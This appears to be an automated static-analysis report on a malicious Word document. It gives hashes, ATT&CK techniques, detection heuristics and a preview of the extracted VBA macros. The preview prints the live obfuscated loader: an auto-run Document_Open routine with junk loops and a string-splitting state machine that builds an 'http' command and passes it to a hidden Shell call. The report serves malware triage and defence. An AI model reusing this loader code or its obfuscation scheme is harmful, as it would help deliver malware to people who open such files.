Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 46c66f93d7b32552…

MALICIOUS

Office (OLE)

170.5 KB Created: 2018-03-26 20:43:00 Authoring application: Microsoft Office Word First seen: 2018-03-30
MD5: 85ad5e36fb591f07f77892b5a425f9a1 SHA-1: 504cf82189253ca36077788db4e6941ac2c85600 SHA-256: 46c66f93d7b32552842f9a4a1d1391c870bec255439091494e9dcee94a4159b6
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing obfuscated VBA macros. The 'Document_Open' macro and 'OLE_VBA_SHELL' heuristic indicate that the macro attempts to execute commands. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics further suggest a loader mechanism designed to run a payload. The ClamAV detection ID 'Doc.Malware.Chronos-6897935-0' also confirms its malicious nature. The VBA code itself is heavily obfuscated, making it difficult to determine the exact payload or destination, but the intent is clearly to execute code.

Heuristics 8

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            ElseIf yXaj = 3252 Then
            Shell (StrReverse(StrReverse(ubLX))), 0
        ElseIf yXaj = 2558 Then
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
            ElseIf yXaj = 3252 Then
            Shell (StrReverse(StrReverse(ubLX))), 0
        ElseIf yXaj = 2558 Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
    For CrKFp = 0 To 208
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38801 bytes
SHA-256: c2109585eb4e6da30c99983a5a9d11716d9ea3bf4bb4898c70ec0574e298ce08
Detection
ClamAV: No threats found
Obfuscation or payload: likely
521 of 650 identifiers look randomly generated (e.g. 'bCXMULSCQZrLwIqfiDsooQQbKzhtjYHVRgjlQofk') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    For CrKFp = 0 To 208
        AjXs = StrReverse("WrzQKyYnwl")
        AjXs = Replace("wIEvjsootlO", "wIEv", "KqeCLjv")
        AjXs = Replace("wPurLQPfzHrpr", "wPu", "ZtAC")
                If 3476023 = 261 - 2776 Then
            GDEPl = Replace("yHaDovpTyvBbjEuB", "yHa", "nXJYgo")
            GDEPl = StrReverse("yHaDovpTyvBbjEuB")
            End If
        AjXs = Replace("vqmiOPTwGnvMxyken", "vqmi", "IecLW")
        AjXs = StrReverse("rEJuFkijnUWaBL")
        AjXs = Replace("sUuJfYIMniWkTZwsYBk", "sUu", "KKzgtYJ")
        AjXs = Replace("RoYtLCiHVWBKXUhzIjJ", "RoYt", "DWpUtM")
                If 3318159 = 48 - 3402 Then
            Xnqdx = Replace("TIxlADfrkMAthQHHo", "TIx", "SnsTO")
            Xnqdx = StrReverse("TIxlADfrkMAthQHHo")
            End If
        AjXs = Replace("PVHoazVuwDmh", "PVH", "kZTOL")
        AjXs = StrReverse("BTdPdRkrnXZSDBvbHz")
        AjXs = StrReverse("ZtZKkPGvsTpcbonM")
                If 1647110 = 258 - 5309 Then
            dSHlW = Replace("ZTJombcPMrrG", "ZTJo", "qHUhH")
            dSHlW = StrReverse("ZTJombcPMrrG")
            Baaru = Replace("wqbqULnQFSYfOdWRg", "wqbq", "zXKeF")
            Baaru = StrReverse("wqbqULnQFSYfOdWRg")
            End If
        AjXs = Replace("OLqMrPtVrnfiX", "OLq", "HqwBIKA")
        AjXs = StrReverse("eiIGIIRJOSF")
        AjXs = StrReverse("JqCAulPdBnQR")
                If 1712537 = 126 - 8156 Then
            Fdiok = Replace("hEoHLexnsK", "hEoH", "vSyzW")
            Fdiok = StrReverse("hEoHLexnsK")
            End If
        AjXs = StrReverse("VPVRdShQZmVtRb")
        AjXs = Replace("sWFekIjLTVXFSzR", "sWFe", "WDSKFS")
        AjXs = StrReverse("LJvBMJFIArvLhZV")
        AjXs = StrReverse("tIrzzSaFaBgItLCF")
        AjXs = StrReverse("wWeMVfMzIswtHTuMXT")
        AjXs = Replace("EzegJEXUoPzDw", "Eze", "cLDjDdm")
        AjXs = Replace("owQbJpqCeyzbOfeLhp", "owQb", "bOoSX")
        AjXs = StrReverse("ABPsAyopnZcByfp")
    Next CrKFp
    If 2311098 = 64 - 5635 Then
        jgncl = Replace("nsztBOSKIlF", "nsz", "ZzeyVp")
        jgncl = StrReverse("nsztBOSKIlF")
        End If
    For vGHai = 0 To 179
        pArP = Replace("CyXSkJcfoXJhESLDjCR", "CyXS", "FtEfy")
        pArP = StrReverse("xfYMazibtIL")
        pArP = Replace("zdFtRkGZDUcE", "zdF", "yGKemq")
        pArP = Replace("tTZjUFSqmjIEEjsVkg", "tTZ", "TWjzDE")
        pArP = Replace("eAsnzGIZxGWwCjclJb", "eAsn", "RBRYTa")
        pArP = StrReverse("TQbbFygWSbLeZlVwIOy")
        pArP = Replace("qJLHiPIKDlBAyILx", "qJL", "jonAim")
        pArP = StrReverse("MdnizDvqOgifX")
        pArP = Replace("RfoBttEorlISDjl", "Rfo", "GAHUB")
        pArP = StrReverse("jYHpUmdrgso")
                If 1491780 = 117 - 2570 Then
            mulhG = Replace("eSIqsHMasol", "eSI", "Wzqnw")
            mulhG = StrReverse("eSIqsHMasol")
            End If
        pArP = Replace("qEXLOUcIpOOTznuuyu", "qEX", "WjzwiiT")
        pArP = StrReverse("gPeGMddarMB")
                If 288332 = 64 - 2432 Then
            duFSe = Replace("UHrFujWMYtVggy", "UHrF", "kVtULsZ")
            duFSe = StrReverse("UHrFujWMYtVggy")
            End If
        pArP = Replace("LXUMcMKnIPyvlrdjnx", "LXUM", "xCaEQhg")
        pArP = StrReverse("HBFQvztUHXLkx")
        pArP = Replace("PvwAYFTgge", "PvwA", "HbLvZI")
        pArP = Replace("cXWMgEwUkS", "cXW", "oCShL")
        pArP = Replace("SBwfbCKQVcWQc", "SBwf", "SmwMQYr")
        pArP = Replace("SQwZqmsCMk", "SQwZ", "SevQaPV")
        pArP = StrReverse("dAcXbBsvJVO")
        pArP = StrReverse("xYFDxDEjPXdUgMvCtX")
        pArP = Replace("aMyGfyWxusF", "aMyG", "emsoGVo")
        pArP = Replace("zJwRWZhwhwclzQ", "zJwR", "AJyYP")
        pArP = StrReverse("gmpsMRUGJosQfbe")
    Next vGHai
    For dRmTB = 0 To 379
        ksPW = Replace("OkqrObaTQy", "Okq", "qPMH")
        ksPW = Replace("mVHzSvQhwbnITwF", "mVHz", "bXBQ")
        ksPW = Replace("xgvqjmRbhR", "xgvq", "fhlUenv")
        ksPW = Replace("evHVQJItWKvU", "evH", "jZqmxEJ")
        ksPW = StrReverse("DBwmJSbKkSkHF")
        ksPW = Replace("xFgliyTMDvV", "xFgl", "ZKmVs")
        ksPW = Replace("vhxcMLvaCTSvBbaYraJ", "vhxc", "cnTfTwl")
                If 2435444 = 74 - 1251 Then
            mXXYw = Replace("JhtzorDJKua", "Jhtz", "VCtXQ")
            mXXYw = StrReverse("JhtzorDJKua")
            End If
                If 2695657 = 24 - 10 Then
            cQxvh = Replace("CRmSnMeMvBGBhDfLD", "CRm", "uTQEXY")
            cQxvh = StrReverse("CRmSnMeMvBGBhDfLD")
            End If
        ksPW = Replace("bifUETawgckw", "bif", "AYUx")
        ksPW = StrReverse("vLChGbHaOwearaUDPKT")
        ksPW = StrReverse("VJhhZtKPgsxFAvRfYix")
                If 1833006 = 39 - 3890 Then
            UfnnI = Replace("VRjivLyVKBLoOqVAmA", "VRj", "jmbyKBe")
            UfnnI = StrReverse("VRjivLyVKBLoOqVAmA")
            HEgGh = Replace("nURbVyuaACkxSslFm", "nUR", "jLaYW")
            HEgGh = StrReverse("nURbVyuaACkxSslFm")
            End If
        ksPW = Replace("MnGgBRuptZuaAeFLx", "MnG", "XEABC")
        ksPW = StrReverse("BnhvfidbGHHywqmUXw")
        ksPW = Replace("qFlLJKKOtpbZv", "qFlL", "tujHFng")
        ksPW = StrReverse("RBOlgcIICahMIkelL")
        ksPW = StrReverse("UMWwHdgcHOHzwlGCvo")
        ksPW = StrReverse("UbSPjMLRBHyIDyhr")
                If 3482457 = 217 - 4786 Then
            RDdRH = Replace("rZKSkvKuJQYvz", "rZK", "suudD")
            RDdRH = StrReverse("rZKSkvKuJQYvz")
            End If
        ksPW = Replace("eUOVVtyCyhReZekWRa", "eUOV", "Pklbdm")
        ksPW = StrReverse("XAvaFUtFsu")
        ksPW = Replace("HoIpqJMprwdRCwjHJR", "HoI", "rnlpHv")
        ksPW = StrReverse("eksCDafCgQYFG")
        ksPW = Replace("UtMKXEcqtmHei", "UtM", "mcgm")
    Next dRmTB
Rkeiac = StrReverse("uRvWpjjhSsI")
    For POheu = 0 To 103
                If 214656 = 2 - 6414 Then
            YYHcS = Replace("SdEqnZggYjQLjZTmqrG", "SdEq", "ZAAGi")
            YYHcS = StrReverse("SdEqnZggYjQLjZTmqrG")
            IiebJ = Replace("dETXBzPTYIEfHlTjSM", "dET", "DZzfgS")
            IiebJ = StrReverse("dETXBzPTYIEfHlTjSM")
            End If
                If 1241882 = 11 - 7549 Then
            aJdzY = Replace("xbPnsrDCpfyiCYRrZ", "xbPn", "OxYcWBD")
            aJdzY = StrReverse("xbPnsrDCpfyiCYRrZ")
            End If
        YdoR = StrReverse("xHjgWIPsclolaeWau")
                If 693064 = 142 - 6146 Then
            kfWrg = Replace("SnFsOptDAWhjHpKAlJ", "SnFs", "dRIafzo")
            kfWrg = StrReverse("SnFsOptDAWhjHpKAlJ")
            End If
        YdoR = Replace("DuKMIGYSCQXbHVw", "DuK", "dWXtfc")
        YdoR = StrReverse("BTEAUHhlpHoEoSUn")
        YdoR = Replace("ezORDnvSTkJO", "ezO", "UnuDFml")
        YdoR = StrReverse("UHquXAAWBUv")
        YdoR = Replace("PnUFSJhztFGWzyaRtD", "PnUF", "pAzjT")
        YdoR = StrReverse("viMUVBUrsD")
        YdoR = StrReverse("yzKeTMudlXSOyV")
                If 3172515 = 178 - 1158 Then
            kQdqP = Replace("TEXUZnoZhlFLf", "TEXU", "YAUwfZl")
            kQdqP = StrReverse("TEXUZnoZhlFLf")
            End If
        YdoR = StrReverse("xLfESRXuzxgzVeDr")
                If 2411236 = 43 - 4922 Then
            hOdmk = Replace("bGjuHkeulggv", "bGj", "LLPdmzX")
            hOdmk = StrReverse("bGjuHkeulggv")
            gqCjA = Replace("jugVPTrVwltTJr", "jugV", "Qvmob")
            gqCjA = StrReverse("jugVPTrVwltTJr")
            End If
        YdoR = Replace("gOWIpzdXBVjm", "gOW", "SDTyt")
        YdoR = Replace("oqqCmJKavJRafcrM", "oqq", "EssGf")
        YdoR = Replace("vtMkHstDkPPoDzmIuM", "vtMk", "jKKsUsk")
        YdoR = StrReverse("LzpXRdGmSDBa")
        YdoR = StrReverse("vooxXDTpRAloG")
                If 2218296 = 84 - 2090 Then
            kmTsc = Replace("nVGFadjgrQInViYecZy", "nVG", "vXFU")
            kmTsc = StrReverse("nVGFadjgrQInViYecZy")
            End If
        YdoR = Replace("kZAcuCofBrOHMVcfnO", "kZA", "YIhwkk")
        YdoR = StrReverse("SsjaSQOjXdVAgZeaTL")
                If 3756509 = 147 - 2200 Then
            rMyke = Replace("YXDILIaWtZLlZB", "YXDI", "TFYySwL")
            rMyke = StrReverse("YXDILIaWtZLlZB")
            End If
        YdoR = StrReverse("QIGhhinLPtztkTaFR")
        YdoR = StrReverse("cGDzraoLZr")
    Next POheu
lwOjWG = StrReverse("OqyakqaBuw")
    If 1230257 = 9 - 1006 Then
        ZOegU = Replace("wuttlurntQcRAcoOS", "wut", "YuQCg")
        ZOegU = StrReverse("wuttlurntQcRAcoOS")
        End If
eJbncO = Replace("cwHnqayktUi", "cwHn", "sIGckc")
rfpHtn = Replace("HapMAJwSXtdjToBvUiB", "HapM", "UKrl")
    For kRTfw = 0 To 241
        nBdT = StrReverse("qkVasnKGFeVPXMBE")
        nBdT = Replace("PHLqcGuhxFEA", "PHL", "ABiS")
        nBdT = StrReverse("pgUyrySemQTUGI")
        nBdT = Replace("JtkjlmOaRZhsgPiX", "Jtk", "Ebpq")
                If 531373 = 168 - 3888 Then
            esYVy = Replace("yiFUCaRCzJyenMhWZJ", "yiFU", "nxkbfXD")
            esYVy = StrReverse("yiFUCaRCzJyenMhWZJ")
            uOUek = Replace("VcEVWUmchwiPRAAmiY", "VcE", "QchcU")
            uOUek = StrReverse("VcEVWUmchwiPRAAmiY")
            End If
                If 3909833 = 63 - 1498 Then
            sgwoX = Replace("XIvWelkGZpizp", "XIvW", "fTAMXF")
            sgwoX = StrReverse("XIvWelkGZpizp")
            LBCKu = Replace("BvcsZRzopTUOY", "Bvc", "LILpV")
            LBCKu = StrReverse("BvcsZRzopTUOY")
            End If
        nBdT = Replace("paYssHVDbPUS", "paY", "wSHtkm")
        nBdT = Replace("YoVUlWTArmt", "YoV", "KgXcmK")
        nBdT = Replace("SIMtJhHLwos", "SIMt", "lLJVbx")
        nBdT = Replace("AqfceGsAyPR", "Aqf", "AcnSi")
        nBdT = Replace("qUYhsCVCGFRVciC", "qUY", "flQyJl")
        nBdT = StrReverse("wTpbxHlLcXXxVl")
        nBdT = StrReverse("eVpRnRGJGPjBh")
        nBdT = StrReverse("trGhmgWJhd")
        nBdT = StrReverse("ijEcZbnzZz")
        nBdT = StrReverse("PRWelmFaXX")
        nBdT = Replace("IvqhqjLPsuCiV", "Ivq", "pAuydrC")
                If 2974188 = 86 - 7141 Then
            EYkVO = Replace("OkCnbZklXefHl", "OkCn", "paJFQ")
            EYkVO = StrReverse("OkCnbZklXefHl")
            End If
        nBdT = StrReverse("VDtDpgLZEVRQ")
        nBdT = Replace("FuLmwHwXlYAJqK", "FuLm", "gKrkPWs")
        nBdT = Replace("vUZcxYtewStUPducRLX", "vUZc", "UyYhk")
        nBdT = Replace("MUqlZbuFKk", "MUql", "lSfGWAa")
        nBdT = Replace("VDMyDzFztETXAd", "VDM", "DqFiZ")
        nBdT = Replace("LeglnPfAXHW", "Legl", "nPcyVHw")
        nBdT = Replace("LOpzJaeoKELSdPDs", "LOp", "MBzL")
    Next kRTfw
icYlrF = StrReverse("JanafyoEBVgwsfe")
    For xfoHC = 0 To 163
                If 375274 = 34 - 2236 Then
            tdLHi = Replace("YYzciqOdnlJZkqv", "YYzc", "fdFl")
            tdLHi = StrReverse("YYzciqOdnlJZkqv")
            FMRRQ = Replace("vmjbvRapJQmO", "vmj", "bYMcuG")
            FMRRQ = StrReverse("vmjbvRapJQmO")
            End If
        VhLB = StrReverse("jeUQFkMauc")
        VhLB = Replace("zSQwoupLCgQPh", "zSQ", "SdPV")
        VhLB = StrReverse("qMOfBzJvTkiamgyhIAB")
        VhLB = Replace("XlhaCTEGLI", "Xlha", "duvjgb")
        VhLB = Replace("sQCjLoEFwODupLYzjfl", "sQC", "EtOjoo")
        VhLB = StrReverse("FrdjOTsylUvKa")
                If 1540403 = 179 - 7979 Then
            cMjdt = Replace("OfJGkgpEbCvMUoWpOq", "OfJ", "izryv")
            cMjdt = StrReverse("OfJGkgpEbCvMUoWpOq")
            GtWaG = Replace("OIqxmzVCYbXmHfHhQM", "OIqx", "FnCgyG")
            GtWaG = StrReverse("OIqxmzVCYbXmHfHhQM")
            End If
        VhLB = StrReverse("IFGxoaTbloxUoCELg")
                If 3412075 = 59 - 3742 Then
            cvZYD = Replace("DPoPfvIdkj", "DPo", "hYOqJ")
            cvZYD = StrReverse("DPoPfvIdkj")
            End If
                If 298052 = 98 - 4833 Then
            JiKYr = Replace("LuLqPRenpuCqCCgiv", "LuLq", "FDbDO")
            JiKYr = StrReverse("LuLqPRenpuCqCCgiv")
            CtlgZ = Replace("BmFKxJTBjjCJik", "BmF", "wpPV")
            CtlgZ = StrReverse("BmFKxJTBjjCJik")
            End If
        VhLB = Replace("rjZdIycVhxfDJpYocLF", "rjZd", "jMjpuId")
        VhLB = StrReverse("OunQRhCzCldMvHHBzLt")
        VhLB = Replace("wKHkvCTvBnuFscxnq", "wKHk", "omjtuCK")
                If 2098449 = 258 - 1664 Then
            zTcuS = Replace("ptsqbazqdvuv", "pts", "DihDImM")
            zTcuS = StrReverse("ptsqbazqdvuv")
            End If
        VhLB = Replace("pSgUkEGuIvxIKbRYgI", "pSgU", "OLko")
        VhLB = StrReverse("XOwyCrETRtqXFCt")
        VhLB = Replace("iJoUjqoBSMrhOJ", "iJo", "laTShLg")
        VhLB = StrReverse("JdZHgSBbLlpXRP")
        VhLB = Replace("TajazMwojrXdtBRF", "Taja", "UsGyyP")
        VhLB = StrReverse("smmdbdflOvnOqwy")
        VhLB = StrReverse("XWzMvCpMOIzsQ")
                If 1918380 = 161 - 4202 Then
            pFmKd = Replace("zrQPTwJPBVmR", "zrQ", "TyXl")
            pFmKd = StrReverse("zrQPTwJPBVmR")
            AMMFu = Replace("SodDZLiBmHkiHVMy", "Sod", "xtwcUS")
            AMMFu = StrReverse("SodDZLiBmHkiHVMy")
            End If
                If 1834117 = 138 - 6241 Then
            FSpkD = Replace("fJckPkXefyaU", "fJc", "IfvRbs")
            FSpkD = StrReverse("fJckPkXefyaU")
            End If
        VhLB = Replace("apfgUXevQpDIZVaIwgk", "apf", "pnGKxqg")
    Next xfoHC
IRpleL = Replace("dLYmfcktHvMilyQRHyi", "dLYm", "JZnPs")
    For mUorO = 0 To 61
        IUVL = StrReverse("zhmvLHDCzyRkDHoGVU")
        IUVL = Replace("eUUnmmBvBBQSMHFfB", "eUU", "RpSt")
        IUVL = StrReverse("xRRVBFZScPdts")
        IUVL = StrReverse("GqUkrmJAoIOkSJCrYq")
        IUVL = Replace("vrbcvPFhkdUsEObI", "vrb", "gRLvWr")
                If 759835 = 210 - 1372 Then
            quuaF = Replace("vFldOZWqGigwBEzD", "vFld", "ijbUv")
            quuaF = StrReverse("vFldOZWqGigwBEzD")
            uSdnZ = Replace("wDuebDEmaMVP", "wDu", "AUvPo")
            uSdnZ = StrReverse("wDuebDEmaMVP")
            End If
        IUVL = StrReverse("BXewzDUhErADFvB")
        IUVL = Replace("oIuMAgAlBeUBQcikmB", "oIuM", "krwOBln")
        IUVL = Replace("YEKziKmcZHVOYnCuDRy", "YEKz", "MofarDE")
        IUVL = StrReverse("cZMgbIfpvQcHLfzdr")
                If 1030236 = 150 - 287 Then
            IJlIJ = Replace("SQATsBjigC", "SQAT", "HZuKIyO")
            IJlIJ = StrReverse("SQATsBjigC")
            End If
        IUVL = StrReverse("HueazyhUlt")
        IUVL = StrReverse("CSTZnxboJeTFsEdzu")
                If 3380935 = 148 - 6639 Then
            RsUBr = Replace("mJeMQZveWvtMlUYL", "mJeM", "oLpviI")
            RsUBr = StrReverse("mJeMQZveWvtMlUYL")
            End If
        IUVL = Replace("FXBqfclnyclWe", "FXB", "qAadOV")
                If 663517 = 257 - 4934 Then
            sUMST = Replace("SZCkOVWDqRaALlDtFkC", "SZC", "DQWdV")
            sUMST = StrReverse("SZCkOVWDqRaALlDtFkC")
            AODPc = Replace("RjtjACHcdXuVKYs", "Rjtj", "EGkbpS")
            AODPc = StrReverse("RjtjACHcdXuVKYs")
            End If
        IUVL = StrReverse("vQqqYxzAKPHaGFvk")
        IUVL = Replace("dqqDyghPpOjmbpGra", "dqqD", "eKYYLf")
        IUVL = StrReverse("EbaZhvQDMyYjeW")
        IUVL = StrReverse("ugJROSmUWMQOw")
        IUVL = Replace("FFCGLIPwMAjtvkG", "FFC", "HtcKBJw")
        IUVL = Replace("kMJEASkPZbDw", "kMJ", "ZEYC")
        IUVL = StrReverse("BJcuMxqDsKbml")
        IUVL = StrReverse("rDqjybbkIau")
        IUVL = Replace("cfgILjBiZMnWuzUtk", "cfg", "wwWZVo")
    Next mUorO
    For MMosu = 0 To 41
        qjQO = StrReverse("jhmHUPfsgIGo")
        qjQO = StrReverse("SkCVEbPQeZefClb")
        qjQO = Replace("pMEkxSLpkMJoEtqKz", "pME", "vrViHDV")
        qjQO = Replace("gOqvqPujdBWTrlIGt", "gOqv", "duwxB")
        qjQO = Replace("BzBGoYaTrVBntAudKEK", "BzB", "uybmCLi")
        qjQO = Replace("UeFgqAPhXqd", "UeF", "fHECf")
        qjQO = StrReverse("hZXFTnnOIb")
        qjQO = StrReverse("GfkFswuWlimWJDJvGs")
        qjQO = Replace("xxLoTrVMurUn", "xxLo", "TiBtks")
        qjQO = StrReverse("gXkoKVlSauxd")
        qjQO = StrReverse("VOqQqmfwyHG")
        qjQO = StrReverse("rpLSclpXcAdUweW")
        qjQO = StrReverse("nMuYQVmyafUDLJlfScb")
        qjQO = Replace("velBJhdMyKgwwVL", "vel", "WdIvlR")
                If 12491 = 177 - 3392 Then
            vmOMB = Replace("ztUHwHopylYRs", "ztU", "uTkPxIY")
            vmOMB = StrReverse("ztUHwHopylYRs")
            End If
        qjQO = Replace("qAZeQegLFkpnixdX", "qAZ", "KnjW")
        qjQO = Replace("hoVoUlSxTifMIo", "hoV", "XBqsHfE")
        qjQO = StrReverse("pBtpVsqRnpmmx")
        qjQO = Replace("tpskExlwYvOxihxBqrQ", "tpsk", "IPDtbFi")
        qjQO = Replace("BpaXdhBaYcjSBRQygd", "Bpa", "fOgQc")
        qjQO = StrReverse("mlWsBiGIOkUad")
        qjQO = StrReverse("VdYZKdaWfur")
        qjQO = Replace("kJjDUSZfkCihEj", "kJj", "tExc")
        qjQO = Replace("sFoQbaFEFQHIkosZny", "sFo", "fvHTd")
        qjQO = StrReverse("VchoAsMViVLhvkGaZfO")
    Next MMosu

    While yXaj < 3278
        If yXaj = 5 Then
            UDDC = Replace("FlovHXUhDi", "Flo", "ufctl")
        ElseIf yXaj = 1131 Then
            UDDC = Replace("oFJldTWxPX", "oFJ", "HjoQl")
        ElseIf yXaj = 1362 Then
            UDDC = Replace("bpViLLZWRK", "bpV", "COnSg")
        ElseIf yXaj = 531 Then
            UDDC = Replace("nvRGrEXhcF", "nvR", "vZJnc")
        ElseIf yXaj = 590 Then
            UDDC = Replace("obgaTWfmxB", "obg", "RIwnY")
        ElseIf yXaj = 694 Then
            UDDC = Replace("PtwlEeyLOn", "Ptw", "YcoVF")
        ElseIf yXaj = 2270 Then
            UDDC = Replace("OIthViwUXy", "OIt", "OJByM")
        ElseIf yXaj = 1842 Then
            UDDC = Replace("GyJorZQBRw", "GyJ", "WboQy")
        ElseIf yXaj = 1873 Then
            UDDC = Replace("gpPAjigcQm", "gpP", "tuRfT")
        ElseIf yXaj = 543 Then
            UDDC = Replace("BvXghSWnVT", "BvX", "TAiSw")
        ElseIf yXaj = 216 Then
            UDDC = Replace("hogHcuCwiy", "hog", "DQWeW")
        ElseIf yXaj = 576 Then
            UDDC = Replace("WbIJvXpkJI", "WbI", "TPsxH")
        ElseIf yXaj = 681 Then
            UDDC = Replace("DepOesVIza", "Dep", "qoKIf")
        ElseIf yXaj = 3098 Then
            Mxhl = Replace(MmOn, nEy, Chr(104) + Chr(116) + Chr(116) + Chr(112))
        ElseIf yXaj = 2347 Then
            UDDC = Replace("auCpaMjPxk", "auC", "xwiyR")
        ElseIf yXaj = 717 Then
            UDDC = Replace("JTPjxmTiJg", "JTP", "igRFu")
        ElseIf yXaj = 3068 Then
            bShx = Split(Replace(VJE, "OzCBQ", "AJT"), Chr(121 + 3))(0)
        ElseIf yXaj = 366 Then
            UDDC = Replace("pLmWuHmZtY", "pLm", "OqqYg")
        ElseIf yXaj = 1951 Then
            UDDC = Replace("fjGTEjCvgA", "fjG", "hTSpk")
        ElseIf yXaj = 1445 Then
            UDDC = Replace("urTdVrYcGM", "urT", "RyDsP")
        ElseIf yXaj = 2546 Then
            UDDC = Replace("lPWGsKSVws", "lPW", "YsYWH")
        ElseIf yXaj = 2437 Then
            UDDC = Replace("EgEcZHfaDS", "EgE", "ftvxY")
        ElseIf yXaj = 2737 Then
            UDDC = Replace("hdGZQToRoE", "hdG", "uJtas")
        ElseIf yXaj = 3252 Then
            Shell (StrReverse(StrReverse(ubLX))), 0
        ElseIf yXaj = 2558 Then
            UDDC = Replace("STiGfSrGZI", "STi", "bdoPY")
        ElseIf yXaj = 3187 Then
            ubLX = Replace(Mxhl, bShx, Chr(44 + 2))
        ElseIf yXaj = 2162 Then
            UDDC = Replace("PPnfEPhCoz", "PPn", "BhQee")
        ElseIf yXaj = 923 Then
            UDDC = Replace("yiFUGTlcfm", "yiF", "vrvzt")
        ElseIf yXaj = 656 Then
            UDDC = Replace("DoQgkVQzrE", "DoQ", "MLMYO")
        ElseIf yXaj = 354 Then
            UDDC = Replace("DbLChempnv", "DbL", "YHTqe")
        ElseIf yXaj = 113 Then
            UDDC = Replace("uuPTrOCWTS", "uuP", "mvTJm")
        ElseIf yXaj = 422 Then
            UDDC = Replace("qvVDDMkTBU", "qvV", "SCTfT")
        ElseIf yXaj = 1249 Then
            UDDC = Replace("KvKTzauXdC", "KvK", "JhMvR")
        ElseIf yXaj = 2029 Then
            UDDC = Replace("ifMOqUdBrp", "ifM", "bWuBy")
        ElseIf yXaj = 1060 Then
            UDDC = Replace("gfbSZECkpU", "gfb", "EKRxB")
        ElseIf yXaj = 2749 Then
            UDDC = Replace("HjWYtUZsQL", "HjW", "RRmAo")
        ElseIf yXaj = 866 Then
            UDDC = Replace("RhntRYabKt", "Rhn", "vKnFW")
        ElseIf yXaj = 2792 Then
            VJE = Replace(StrReverse(hDjwnpcyxW(1)), "zJEkU", "ibq")
        ElseIf yXaj = 327 Then
            UDDC = Replace("EwdwlxPKhs", "Ewd", "ZXowc")
        ElseIf yXaj = 773 Then
            UDDC = Replace("gFqLqUPbUk", "gFq", "ETcbF")
        ElseIf yXaj = 1561 Then
            UDDC = Replace("GHfbgsZnag", "GHf", "DOPVv")
        ElseIf yXaj = 2683 Then
            UDDC = Replace("QGEvzLKpSF", "QGE", "uIxxS")
        ElseIf yXaj = 2648 Then
            UDDC = Replace("cFEGiDYJog", "cFE", "nKIkA")
        ElseIf yXaj = 1288 Then
            UDDC = Replace("VPUEXUuwHa", "VPU", "krQvX")
        ElseIf yXaj = 260 Then
            UDDC = Replace("cBYRFbIhOS", "cBY", "yFqJM")
        ElseIf yXaj = 1741 Then
            UDDC = Replace("xVimFIUcMX", "xVi", "JsCaY")
        ElseIf yXaj = 1463 Then
            UDDC = Replace("ifcGbVMfjF", "ifc", "vtDtU")
        ElseIf yXaj = 2419 Then
            UDDC = Replace("FDsgCVBBeU", "FDs", "SuQhq")
        ElseIf yXaj = 127 Then
            UDDC = Replace("cUXvfUwpZI", "cUX", "fJGsW")
        ElseIf yXaj = 2992 Then
            nEy = Split(Replace(VJE, "KmZEy", "Hlq"), Chr(123 + 1))(3 - 2)
        ElseIf yXaj = 2113 Then
            UDDC = Replace("fzXxSmUWKQ", "fzX", "dujzB")
        ElseIf yXaj = 2884 Then
            MmOn = Split(Replace(VJE, "QrFCR", "Qay"), Chr(122 + 2))(3 - 1)
        ElseIf yXaj = 1012 Then
            UDDC = Replace("IcWxlWMHUn", "IcW", "fEIGW")
        ElseIf yXaj = 959 Then
            UDDC = Replace("UrHDQBtXpW", "UrH", "FfgTu")
        ElseIf yXaj = 1189 Then
            UDDC = Replace("xlRUqbDOup", "xlR", "Frgdg")
        ElseIf yXaj = 1650 Then
            UDDC = Replace("OWdBdXlhqL", "OWd", "hMjYa")
        ElseIf yXaj = 395 Then
            UDDC = Replace("DUkmOYtndj", "DUk", "TGqBM")
        End If
        yXaj = yXaj + 1
Wend

    For xWKGD = 0 To 393
        qhgu = Replace("IsOBSTACKboPYfLdt", "IsO", "BaMnSSk")
        qhgu = Replace("lXgdkYEPur", "lXgd", "yMyji")
        qhgu = StrReverse("OphgpDzHZqojC")
